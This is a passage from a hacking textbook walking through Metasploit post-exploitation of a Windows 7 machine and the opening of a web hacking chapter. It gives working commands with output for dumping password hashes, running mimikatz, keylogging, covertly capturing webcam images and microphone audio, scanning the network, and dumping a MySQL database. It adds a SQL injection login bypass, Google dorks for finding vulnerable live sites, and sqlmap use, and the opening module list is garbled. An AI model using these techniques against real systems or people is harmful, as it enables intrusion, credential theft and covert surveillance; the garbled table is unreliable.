	<pre>Name post/multi/gather/apple_ios_backup post/multi/gather/check_malware post/multi/gather/check_malware post/multi/gather/chosme_cookies post/multi/gather/chosme_cookies post/multi/gather/chosme_cookies post/multi/gather/chosme_cookies post/multi/gather/chosme_cookies post/multi/gather/chosme_cookies post/multi/gather/filezilla_lient_cred post/multi/gather/filezilla_lient_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_post_cookies post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_cred post/multi/gather/filezilla_client_post_cookies post/multi/gather/filezilla_client_cred post/</pre>	Name       Disclosure Date         post/multi/gather/chcck_malware       post/multi/gather/chcck_malware         post/multi/gather/chcsk_malware       post/multi/gather/chcsk_malware         post/multi/gather/chcsk_malware       post/multi/gather/chcsk_malware         post/multi/gather/chcsk_malware       post/multi/gather/chcsk_malware         post/multi/gather/chcs       Freerse lookup         post/multi/gather/rist       post/multi/gather/chcsk         post/multi/gather/ficelila_client_cred       post/multi/gather/ficelila_client_cred         post/multi/gather/ficelila_client_cred       post/multi/gather/ficelila_client_cred         post/multi/gather/ficelila_client_cred       post/multi/gather/ficelila_client_cred         post/multi/gather/ficelila_client_cred       post/multi/gather/ficelila_client_cred         post/multi/gather/ficelos_gather       post/multi/gather/loss_gather         post/multi/gather/maven_creds       post/multi/gather/maven_creds         post/multi/gather/popass_creds       post/multi/gather/popass_creds         post/multi/gather/popass_creds       post/multi/gather/popass_creds         post/multi/gather/popass_creds       post/multi/gather/popass_creds         post/multi/gather/popass_creds       post/multi/gather/popass_creds         post/multi/gather/popass_creds       post/multi/gather/popass_creds         post/multi/gather/potice </td <td>Name       Disclosure Date       Rank         post/multi/gather/apple_ios_backup       normal         post/multi/gather/check_malware       normal         post/multi/gather/check_malware       normal         post/multi/gather/check_malware       normal         post/multi/gather/dns_srv_lookup       normal         post/multi/gather/dns_srv_lookup       normal         post/multi/gather/rom_vbox       normal         post/multi/gather/filezilla_client_cred       normal         post/multi/gather/filezilla_client_cred       normal         post/multi/gather/inics_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/inic_creds       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/ingates_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal</td> <td>Name       Disclosure Date       Rank       Check         post/multi/gather/apple_ios_backup       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/dns_reverse lookup       normal       No         post/multi/gather/check_ma_vbox       normal       No         post/multi/gather/filezilla_client_cred       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client</td>	Name       Disclosure Date       Rank         post/multi/gather/apple_ios_backup       normal         post/multi/gather/check_malware       normal         post/multi/gather/check_malware       normal         post/multi/gather/check_malware       normal         post/multi/gather/dns_srv_lookup       normal         post/multi/gather/dns_srv_lookup       normal         post/multi/gather/rom_vbox       normal         post/multi/gather/filezilla_client_cred       normal         post/multi/gather/filezilla_client_cred       normal         post/multi/gather/inics_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/inic_creds       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/jenkins_gather       normal         post/multi/gather/ingates_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal         post/multi/gather/papass_creds       normal	Name       Disclosure Date       Rank       Check         post/multi/gather/apple_ios_backup       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/check_malware       normal       No         post/multi/gather/dns_reverse lookup       normal       No         post/multi/gather/check_ma_vbox       normal       No         post/multi/gather/filezilla_client_cred       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client       normal       No         post/multi/gather/filezilla_client

Even after we narrow our search to just Windows systems, there are still quite a few (over 200) postexploitation modules in Metasploit available to us.

In addition to the many post-exploitation modules, the Metasploit meterpreter has a number of built-in commands. From the meterpreter prompt, we can simply enter help to get the commands that will work with this meterpreter. These commands are NOT universal in all meterpreters, and instead, are particular to each one. This means that we need to enter help to view which commands will work with this meterpreter or whichever one you are using (remember that there are many meterpreters).

meterpreter> help

<pre>meterpreter &gt; help</pre>	
Core Commands	
Command	Description
f f	Help menu
background	Backgrounds the current session
bg	Kills a background meteroreter script
balist	Lists running background scripts
barun	Evenutes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
detach	Detach the meterpreter session (for http/https)
disable unicode encoding	Disables encoding of unicode strings
enable unicode encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Open an interactive Ruby shell on the current session
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
migrate	Migrate the server to another process
pivot	Manage pivot listeners
pry	Open the Pry debugger on the current session
quit	Penda data from a chappel
resource	Redus uala frum a channel Run the commands stored in a file
run	Executes a meterpreter script or Post module
secure	(Re)Negotiate TLV packet encryption on the session
sessions	Ouickly switch to another session
set timeouts	Set the current session timeout values
sleep	Force Meterpreter to go guiet, then re-establish session.
transport	Change the current transport mechanism
use	Deprecated alias for "load"
uuid	Get the UUID for the current session
write	Writes data to a channel

This list is quite long, but these are the core commands in the meterpreter. If we scroll down a bit, we can see some key commands for post-exploitation, including the standard "User Interface Commands," the "Webcam Commands," and the "Audio Output Commands."

Stdapi: User inter	rface Commands
Command	Description
enumdesktops	List all accessible desktops and window stations
getdesktop	Get the current meterpreter desktop
idletime	Returns the number of seconds the remote user has been idle
keyscan_dump	Dump the keystroke buffer
keyscan_start	Start capturing keystrokes
mouse	Send mouse events
screenshare	Watch the remote user's desktop in real time
screenshot	Grab a screenshot of the interactive desktop Change the meterpreters current desktop
uictl	Control some of the user interface components
Stdapi: Webcam Cor	nmands
Command	Description
record mic	Record audio from the default microphone for X seconds
webcam_chat	Start a video chat
webcam_tist webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam
Stdapi: Audio Out	put Commands
Command	Description
play	play an audio file on target system, nothing written on disk

I want to emphasize that these commands vary by the meterpreter you are using, so try the help command if you are using a different meterpreter. Many of these commands are NOT available in the Linux/UNIX and other operating systems (Linux, BSD, UNIX, etc.) meterpreters.

Let's begin our post-exploitation and get the goodies!

#### **Exploitation in Windows 7**

In Chapter 9, we exploited our Windows 7 system with the NSA's EternalBlue exploit and got the meterpreter prompt, as we see below.

<pre>msf exploit(ms17_010_eternalblue) &gt; exploit</pre>
[*] Started reverse TCP handler on 192,168,1,101;4444
[*] 192,168,1,103:445 - Connecting to target for exploitation.
[+] 192,168,1,103;445 - Connection established for exploitation.
[+] 192,168,1,103;445 - Target OS selected valid for OS indicated by SMB repl
Y
[*] 192.168.1.103:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.103:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69
6d 61 Windows 7 Ultima
[*] 192.168.1.103:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63
65 20 te 7601 Service
[*] 192.168.1.103:445 - 0x00000020 50 61 63 6b 20 31
Pack 1
[+] 192.168.1.103:445 - Target arch selected valid for arch indicated by DCE/
RPC reply i port
[*] 192.168.1.103:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.103:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.103:445 - Starting non-paged pool grooming
[+] 192.168.1.103:445 - Sending SMBv2 buffers
[14] 192.168.1.103:445 - Closing SMBVI connection creating free hole adjacent
to SMBV2 buffer.
192.168.1.103:445 - Sending that SMBV2 buffers.
[*] 192.168.1.103:445 - Sending last fragment of exploit packet!

meterpreter>

Now that we have the meterpreter on the target system, let's look at what we can do inside there. In some cases, we may want to know if the system is idle and how long. If someone is working on the system, the chances of detection increase, although our activities will not be obvious to the user unless they use tools such as Windows task manager, Sysinternal's Process Monitor or similar tools.

To find out how long the system has been idle, we can use the built-in command idletime.

meterpreter > idletime



As you can see, this system has been idle for just 48 minutes and 56 seconds. The system's owner is likely nearby. Better to be cautious than dead!

If we have system administrator privileges on the target—as we do with the EternalBlue exploit—we can get all the hashes of all the passwords by simply using the hashdump command.

```
meterpreter > hashdump
```



Now that we have these hashes, we can download them and crack them in one of the many password crackers in Kali, such as hashcat. To capture these hashes to a file, simply enter;

meterpreter > hashdump > hashes

Then, use the built-in download command in our meterpreter.

```
meterpreter > download hashes
```

In addition, our espionage/intelligence service may want to see what is happening in the room where the computer is located. The meterpreter has a command that will turn on the webcam and take a single snapshot. It's named webcam\_snap. Before we use it, we need to check to see whether a webcam exists on the system and what number has been assigned to it by the operating system. We can use the webcam\_list command to do that.

meterpreter> webcam list



As you can see in the screenshot above, the target system has one webcam, and it has been assigned the number 1. If there were multiple webcams, we would need to use the number in the next command, but this command defaults to 1, so it's not necessary here.

In this case, we can command the webcam to take snapshot by entering;

meterpreter > webcam snap

When we enter the command, the meterpreter snaps a picture and opens it on our desktop screen.



We now have a picture of our adversary sitting behind his computer!

Notice that it takes the snapshot and places the snapshot in the /root directory with a random name (hzMVZRtV.jpeg) and added the .jpeg extension.

#### Stream the WebCam

In some cases, our superiors may want a stream of the activity in the room with the target computer. Let's go to another computer at the location, exploit it, and stream the video. The command to do so is:

meterpreter > webcam\_stream

This command will open the default browser (in this case, Mozilla Firefox) on your system and begin to stream the webcam live into the browser, as seen here.



#### Keylogger or How to View Every Keystroke

As a spy, we may want to capture all the keystrokes being entered by the target. This could reveal secret and confidential plans, passwords and other information. You are probably familiar with hardware

keyloggers. Hardware keyloggers are usually **physically** placed on the target system and then record all keystrokes of the keyboard, such as this keylogger sold on Amazon.

The keylogger in Metasploit is a little different. It's a software keylogger. The advantage is that it can be installed remotely. The disadvantage is that it can only record keystrokes on one process



at a time (conceivably, you could have multiple meterpreters, keylogging multiple processes such as MS Word, Notepad, Chrome, and Firefox, all at the same time).

To employ our keylogger, we need to decide what process we want to capture keystrokes from and then migrate (move) the meterpreter to that process.

The first step is to enter ps at the meterpreter prompt. Just like in Linux, this will list all the processes running on the target system.

meterpreter > ps

<u>meter</u> p	oreter	> ps				
=====	S L1St					
PID	PPID	Name	Arch	Session	User	Path
Θ	0	[System Process]				
4	Θ	System	x64	0		
256	4	smss.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\smss.exe
276	480	svchost.exe	x64	Θ	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
336	328	csrss.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\csrss.exe
384	328	wininit.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\wininit.exe
396	376	csrss.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\csrss.exe
436	376	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
480	384	services.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\services.exe
496	384	lsass.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe
504	384	lsm.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsm.exe
616	480	svchost.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
644	840	dwm.exe	x64	1	OTW-PC\OTW	C:\Windows\System32\dwm.exe
680	480	svchost.exe	x64	Θ	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
780	1940	cmd.exe	x64	1	OTW-PC\OTW	C:\Windows\System32\cmd.exe
792	480	svchost.exe	x64	Θ	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
840	480	svchost.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
864	480	svchost.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
916	480	svchost.exe	x64	Θ	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe
1112	480	spoolsv.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe
1148	480	svchost.exe	x64	Θ	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1212	480	SearchIndexer.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\SearchIndexer.exe
1256	480	svchost.exe	x64	Θ	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1360	480	sppsvc.exe	x64	Θ	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\sppsvc.exe
1624	480	svchost.exe	x64	Θ	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\svchost.exe

As you can see above, all the processes running on the targeted Windows 7 system are displayed with PID, PPID, Process Name, Arch, Session, User, and Path.

If we scan down a bit through this list, we can see a process for Wordpad.

1256 1360	480 480	svchost.exe	x64 x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe C:\Windows\System32\sppsvc.exe
1624	480	sychost.exe	x64	õ	NT AUTHORITY\NETWORK SERVICE	C:\Windows\System32\sychost.exe
1940	1732	explorer.exe	x64	1	OTW-PC\OTW	C:\Windows\explorer.exe
2016	480	taskhost.exe	x64	1	OTW-PC\OTW	C:\Windows\System32\taskhost.exe
2044	480	svchost.exe	x64	Θ	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
2104	864	wuauclt.exe	x64	1	OTW-PC\OTW	C:\Windows\System32\wuauclt.exe
2168	396	conhost.exe	x64	1	OTW-PC\OTW	C:\Windows\System32\conhost.exe
2296	1940	wordpad.exe	x64	1	OTW-PC\OTW	C:\Program Files\Windows NT\Accessorie
s\word	pad.ex	e				
2616	1940	ServiceHost2.exe	x86	1	OTW-PC\OTW	C:\Users\OTW\Desktop\ServiceHost2.exe
2924	792	audiodg.exe	x64	Θ		

The highlighted process—2396—is running Wordpad, the built-in wordprocessor in Windows. Generally, WordPad is not open unless the user is writing in it. Let's try keylogging that process.

To do so, we need to move or migrate our meterpreter to that process.

```
meterpreter > migrate 2396
```

mete	erpreter >	migrate 22	296	
[*]	Migrating	from 2616	to	2296
[*]	Migration	completed	suc	cessfully.

Now that we have planted the meterpreter on this process, we can start the keylogger. As you might expect, the command is keyscan start.

meterpreter > keyscan\_start



When we are ready to retrieve the keystrokes, we can simply use the keyscan dump command.

meterpreter > keyscan dump



Looks like our target has some nefarious plans! Good thing we captured all their keystrokes!

#### Using the Target System as a Listening "Bug"

As a spy, in addition to taking snapshots or streaming video from the webcam, you may want to enable the built-in microphone on their computer to listen to the conversations of the target. In the history of hacking, there have been a number of pieces of malware that have done exactly this, including Flame and Duqu.

Once again, the meterpreter has a built-in command for doing so, record mic.

meterpreter > record mic



As you can see, when we run this command, it records the ambient sounds near the computer and places them in a .wav (audio) file in the root user's directory with a random file name.

This meterpreter command has numerous options that can be useful. For instance:

- -d : the number of seconds to record (default = 1 sec)
- **-f**: The .wav file path.
- -**p**: Automatically play the captured audio, by default "true."

Now, we can construct a useful command that records ten seconds of audio, creates a .wav file named spyaudio.wav, and automatically plays back the audio through your system's speakers.

meterpreter > record mic -d 10 -f spyaudio.wav -p true

```
meterpreter > record_mic -d 10 -f spyaudio.wav -p true
[*] Starting...
[*] Stopped
Audio saved to: /root/spyaudio.wav
```

Of course, we can enable this bug for any number of seconds by simply changing the value after the -d option. So, for instance, if we wanted to capture one hour of audio we could change that value to 3600:

meterpreter > record\_mic -d 3600 -f spyaudio.wav -p true

#### Mimikatz

In some cases, the hashdump command will not work to retrieve the password hashes on the local system. In that case, we have another tool that can grab passwords. This tool, mimikatz, was developed by Benjamin Delpy, aka gentilkiwi.

Mimikatz is capable of extracting and parsing information from RAM. Among the most important information we are seeking are the password hashes on the local system. When the system boots up, it loads these hashes into RAM, and with a tool like mimikatz, we can extract them. Mimikatz has been part of some of the most significant hacks in history, including NotPetya and Blackenergy3 (https://www.hackers-arise.com/post/2018/10/10/scada-hacking-anatomy-of-a-scada-malware-blackenergy-3).

The first step is, from the meterpreter prompt, to load kiwi (if your target is a 32-bit system, you will load mimikatz).

```
meterpreter> load kiwi
```

```
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## /*** Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
```

Once kiwi has loaded, we can simply run the following command to extract all the credentials from the running system's RAM:

meterpreter> creds all

1					
meterpret	er > creds_all				
[*] Retri	eving all creder	ntials			
msv crede	ntials				
Username	Domain	LM	NTLM		SHA1
отw	WIN-EVJBGP133F	c e52cac67419a9a224a	3b108f3fa6cb6d 8846f7eaee	8fb117ad06bdd830b7586c	e8f97fba9104d1ea5047948e6dfb67facd9f5b7
wdigest c	redentials				
========	========				
lisername	Domain	Password			
(null)	(null)	(null)			
OTW WTN-EV186	WIN-EV	JBGP133FK password			
1111 21500					
tspkg cre	dentials				
Username	Domain	Password			
отw	WIN-EVJBGP133F	c password			
kerberos	credentials				
Username	Domain	Password			
(null)	(null)	(null)			
OTW	WIN-EVJ	BGP133FK password			
win-evibo	p133fk\$ WORKGRO	OUP (null)			

As you can see above, mimikatz was able to extract all of the user accounts on the local system from RAM and display them for us. To learn more about mimikatz's many capabilities, go to <a href="https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz">https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz</a>.

#### Scanning the Internal Network

Very often, the ultimate target of our attack is different from the system we compromised. The ultimate target may be another system on the network, such as the database or domain controller on the same network. Now that we have a foothold inside the network, we may be able to leverage that foothold to compromise the entire network!

The first step to compromising other systems on the network is to scan to see what is available on the network. Ultimately, we want to pivot from the compromised system to other computers and devices on the same network.

To find out what other systems are on the network, the meterpreter has a post-exploitation command, arpscanner. Address Resolution Protocol is used to map MAC addresses to IP addresses on the LAN. This tool emulates this process to get the systems on the network to give up their IP and MAC addresses.

meterpreter > run arp\_scanner -r 192.168.0.0/24
[\*] ARP Scanning 192.168.0.0/24
[\*] IP: 192.168.0.101 MAC 00:0c:29:e9:a7:e4
[\*] IP: 192.168.0.115 MAC 00:0c:29:99:c9:41
[\*] IP: 192.168.0.255 MAC 00:0c:29:e9:a7:e4

Now we know each of the systems on the network!

#### Post Exploitation of MySQL

In Chapter 8, we used a brute-force password-cracking tool on the MySQL database on a Windows 7 target. We easily recovered the password because the administrator had used a weak one. Now that we have the password, what can we do in post-exploitation?

#### **Connect to the Database**

The first step is to connect to the MySQL database on the Windows 7 system using the password we cracked in Chapter 8.

#### Drop into a Shell

First, we need to drop into a Windows shell from the meterpreter.

```
meterpreter>shell
```

```
meterpreter > shell
Process 340 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>mysql -u root -p
```

Then we need to connect to MySQL.

```
C:\Windows\system32> mysql -u root -p
```

```
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 5.1.70-community MySQL Community Server (GPL)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
```

You will be prompted for a password. Type the password from Chapter 8 and hit ENTER. We will now get a mysql prompt.

mysql>

Next, we request MySQL to show us all its databases.

```
mysql > show databases;
```

mysql> show databases	;;
l Database	
<pre>information_schema i moviedb i mysql i test +</pre>	-+ ec)

As you can see, there is a database that looks interesting named "moviedb." That's the one we created on the Windows 7 system with the script from Chapter 4.

Next we need to direct the MySQL database system that we want to use that database (movedb).

mysql > use database moviedb

We can then show the tables within that database.

mysql > show tables;

To view all the data from the table creditcards, we can enter:

mysql > SELECT \* FROM creditcards;

If the amount of data is too large to take a picture of and copy to a piece of paper, we can dump the entire database to our Kali system. First, we need to quit mysql and go to a command prompt.

mysql > quit

 $C: \setminus$ 

Now, from the command, we can invoke the mysqldump command that is used to create database backups and direct its output to our remote system:

mysqldump -u root -p -h 192.168.1.103 movie-db > backup.sql

#### Summary

After exploiting the target, the attacker usually wants to do **something** on the system. This is often referred to as post-exploitation. Using Metasploit, we have numerous options with Metasploit commands and post-exploitation modules that enable us to:

- 1. Extract password hashes;
- 2. Snap or stream the webcam;
- 3. Activate and record from the microphone;
- 4. Scan the network;
- 5. Keylog all the keystrokes of the target.

On the MySQL database, because the administrator had used a weak password, we are able to extract or dump all the data in the database to our remote system.

#### Exercises

- 1. Search for all the post-exploitation modules in Metasploit.
- 2. Search for all the Windows post-exploitation modules in Metasploit.
- 3. Exploit a Windows 7 system and get the meterpreter prompt.
- 4. Use the hashdump command to capture hashes and download to your Kali.
- 5. Migrate the meterpreter to process the target is using and capture their keystrokes.
- 6. Connect and login to the mysql database with the password you found in Chapter 8 and dump the database.

## 12

## Web Hacking

If a service is free, you are not the customer. You are the product.

Master OTW



#### The Internet and the World Wide Web (www) have made so many wonderful things possible in their brief

**lifetimes**. The list of things wonderful things could go on for pages, but probably most significant is the development of e-commerce and social networking. These two applications have changed our lives in profound ways. Yet, with all these benefits, there has come a dark side. All of this traffic is susceptible to interception and alteration.

Before we begin this chapter, please note the title of this chapter is "Web Hacking." Unlike many books on hacking and penetration testing, it is not "Web App Hacking." The reason is that there are **innumerable** ways to hack Web traffic and not all of them are attacking the web application or web app.

To begin this chapter, let's begin by thinking strategically about web hacking. There are many strategies for hacking web traffic, and rather than focus on just one, let's look at the range of possibilities and then focus on just a few. A single chapter in a book about hacking can barely scratch the surface, so instead, we will focus on strategy and a few examples.

If you are new to web technologies or need to brush up on the fundamentals, take a look at my article on Hackers-Arise covering the basics of web technologies at <u>https://www.hackers-arise.com/single-post/2018/07/22/Web-App-Hacking-Web-Application-Technologies-Part-1</u>.

#### **Approaches to Web Hacking**

Although there are hundreds of ways of hacking the web, they can be grouped into eight basic types.

#### 1. Hacking Client Side Controls

One of the most popular areas of web hacking is attacking the client-side controls.

#### 2. Hacking Authentication

Hacking authentication can include bypassing authentication such as capturing tokens and replaying them, client-side piggybacking, cross-site request forgery, and of course, cracking usernames and passwords (see the section below on harvesting usernames from WordPress sites and brute-forcing their passwords).

#### 3. Hacking Session Management

Session management enables an application to identify a user across multiple requests uniquely. When a user logs in, session management enables the user to interact with the Web app without having to reauthenticate for every request. Due to its key role, if we can break the application's session management, we can bypass the authentication. In this way, we won't need to crack the username and password to gain access.

#### 4. Hacking Access Controls & Authorization

In this area, the hacker fingerprints access control lists (ACL) and attacks the ACLs in ways that will allow a hacker to violate the ACLs.

#### 5. Hacking Back End Components

Hacking back end components includes SQL injection with tools such as sqlmap (see the section below on SQL injection), but also includes attacks and injection against XPATH and LDAP.

#### 6. Hacking the User

Hacking the user is one of my favorite Web hacks. Technically, it's not Web hacking, as we are hacking the end-user, not the Web app, by getting them to travel to our website and load malware to their browser and potentially their system. These techniques include cross-site scripting (XSS), cross-site request forgery, attacking the browser, and violations of the same-origin policy.

#### 7. Hacking the Web Application Management

In many cases, Web applications have a management console or other management interface. If we can access that console or interface, we can conceivably change everything about the website, including defacing it.

#### 8. Hacking the Web Server

In some cases, we can hack the underlying server of the Web applications, such as Microsoft's Internet Information Server (IIS), the Apache Project's Apache server, or nginx. If we can gain control and access to the underlying server, it may give us an entry point to the Web applications.

#### Website Vulnerabilities

According to the Open Web App Security Project (OWASP), the following are the ten most important Web app vulnerabilities in 2019:

- 1. Injection
- 2. Broken Authentication and Session Management
- 3. Sensitive Data Exposure
- 4. XML External Entity
- 5. Broken Access Control
- 6. Security Misconfiguration
- 7. Cross-Site Scripting
- 8. Insecure De-serialization
- 9. Using Components with Known Vulnerabilities

Since OWASP assigns "Injection" the highest priority (I agree. SQLi results in the greatest financial losses to websites overall), let's discuss it next.

Let's examine the common type of Injection attack: SQL injection.

#### **SQL Injection or SQLi**

SQL or the Structured Query Language is the universal language of relational databases. First developed by IBM in the 1970s (what wasn't developed by IBM in the 1960's and 1970's ?), it is now used in nearly every database management system (DBMS), including MySQL (MariaDB), Microsoft's SQL Server, IBM's DB2, Oracle, postgesql, and many others. This language is used primarily to query the database for data, but is also used to delete, update, and insert data.



Relational Database Model

Behind nearly every website is a database. These databases are used for authentication, e-commerce, storing website objects, storing credit card numbers, storing customer data, and nearly everything else. If the attacker can send SQL commands through the web application to the backend database, they may be able to get the database to execute the commands and delete or, better still, spill its data.

Before we examine SQL injection attacks, we need first to understand a bit of SQL. SQL is a simple language that is forgiving on syntax, but demanding on logic. The most basic SQL query looks something like this;

SELECT <columns> FROM WHERE <conditions>

In the SELECT clause, the coder is looking to return data from certain **columns** in tables. In the FROM clause, the coder is defining the **table** the columns should be extracted from. The WHERE defines the **conditions** that data should meet, such as **city=Detroit**.

This basic query can be used for authentication purposes as well. Imagine a database that has every user with their username and password in a table named "USERS." We could authenticate our users by asking them for their username and password in a form and then checking the database table to see if those two match for a single user. Such a query would look like this when the user entered the data into the authentication form.

Login:	OTW	
Password:	HackersArise	
login		

		L, LASS	NOILD			
FROM (	JSERS					
WHERE	USERNAME	='OTW'	AND	PASSWORD	=	'HackersArise'

Notice that in the WHERE clause with the conditions, we have a logical AND. This means that both conditions must evaluate to TRUE for the user to successfully authenticate and gain access to the system. If either is FALSE, then the query evaluates to FALSE, and the user does not get authenticated and entry to the system.

This method is similar to the way most systems authenticate users.

CETECT HEEDNAME DACCMODD

Notice also that in both the username field and the password field, the entries are enclosed with a single quote ('). This is standard in SQL when using strings (text) in the WHERE clause.

#### **Getting Past the Authentication**

It is also important to note that in SQL, the double dash (--) acts as a comment character. This means that if a "—" appears, the SQL interpreter ignores everything after it on that line.

Now, what would happen if I entered the following information into the authentication form?

Login:	OTW 'OR 1=1
Passwor	rd: anything
lo	ogin

Now, when that information is sent back to the database, the SQL query would look like this:

SELECT USERNAME, PASSWORD

FROM USERS

WHERE USERNAME = 'OTW' OR 1=1-- AND PASSWORD = 'anything'

When the database evaluates this statement, USERNAME='OTW' is TRUE. Furthermore, 1=1 also always evaluates to true. Everything after the -- (in green) is seen as a comment and ignored by the SQL interpreter, so that statement evaluates to TRUE, and you are authenticated without even using a password!

The more you know about SQL, the more effective you can be with SQL injection. We are making use of standard SQL commands and characters that make the database do what WE want. Some of the key SQL injection characters include:

Character	Description
;	Statement termination
` or "	Character string indicators
or #	Single line comment
/**/	Multiple line comment
+	Addition or concatenation
	concatenate
%	wildcard
?Param1=foo&Param2=bar	URL Parameters
PRINT	Useful as non-transactional command
@variable	Local variable
@@variable	Global variable

 Wait for delay '00.00.00'
 Time delay for blind SQL Injection

Now that we have a basic knowledge of SQL injection, let's try it on a test site.

#### SQL Injection with sqlmap

There are numerous tools for SQL injection, but probably the most widely used is sqlmap. The beauty of sqlmap is its ability to identify the backend database, enumerate its structure and inject SQL commands into the database from a Web form. In addition, it will work against most of the RDMS's.

To get "inside" the website and, ultimately, the database, we need to find an entry point. We are looking for websites that end in "php?id=xxx" where "xxx" represents some number. We can identify these sites by using Google hacks/dorks. For instance, you can do a search on Google by entering:

inurl:index.php?id= inurl:gallery.php?id= inurl:post.php?id= inurl:article?id=

...among many others.

These dorks will bring up millions of websites with this basic vulnerability criteria. If you are creative and ambitious, you can find numerous websites online that list vulnerable websites. You might want to check these out.

In Chapter 7, we did vulnerability scanning of numerous systems. One of these tools was OWASP-ZAP, developed by the Open Web Application Security Project (OWASP). In Chapter 7, we used it to scan for vulnerabilities in the website www.webscantest.com. If we go back to our results in Chapter 7, we can see that OWASP-ZAP listed numerous places where the site was vulnerable to SQL Injection. One of these was:

```
www.webscantest.com/datastore/search get by id.php?id=4
```

Let's use that URL to see whether we can execute a SQLi attack against this site.

Sqlmap is built into our Kali, so no need to download or install anything. You can access sqlmap by simply entering sqlmap at the command line. If you follow the sqlmap command with -h option, it will display its help screen like below.

```
kali > sqlmap -h
```

root@kali-2019:~# sqlma	ap -h					
	<pre>{1.3.8#stable} http://sqlmap.org fortions]</pre>					
osage: python2 sqtmap [options]						
Options: -h,help -hh version -v VERBOSE	Show basic help message and exit Show advanced help message and exit Show program's version number and exit Verbosity level: 0-6 (default 1)					
Target: At least one of these options has to be provided to define the target(s)						
-u URL,url=URL -g GOOGLEDORK	Target URL (e.g. "http://www.site.com/vuln.php?id=1") Process Google dork results as target URLs					
Request: These options can be used to specify how to connect to the target URL						
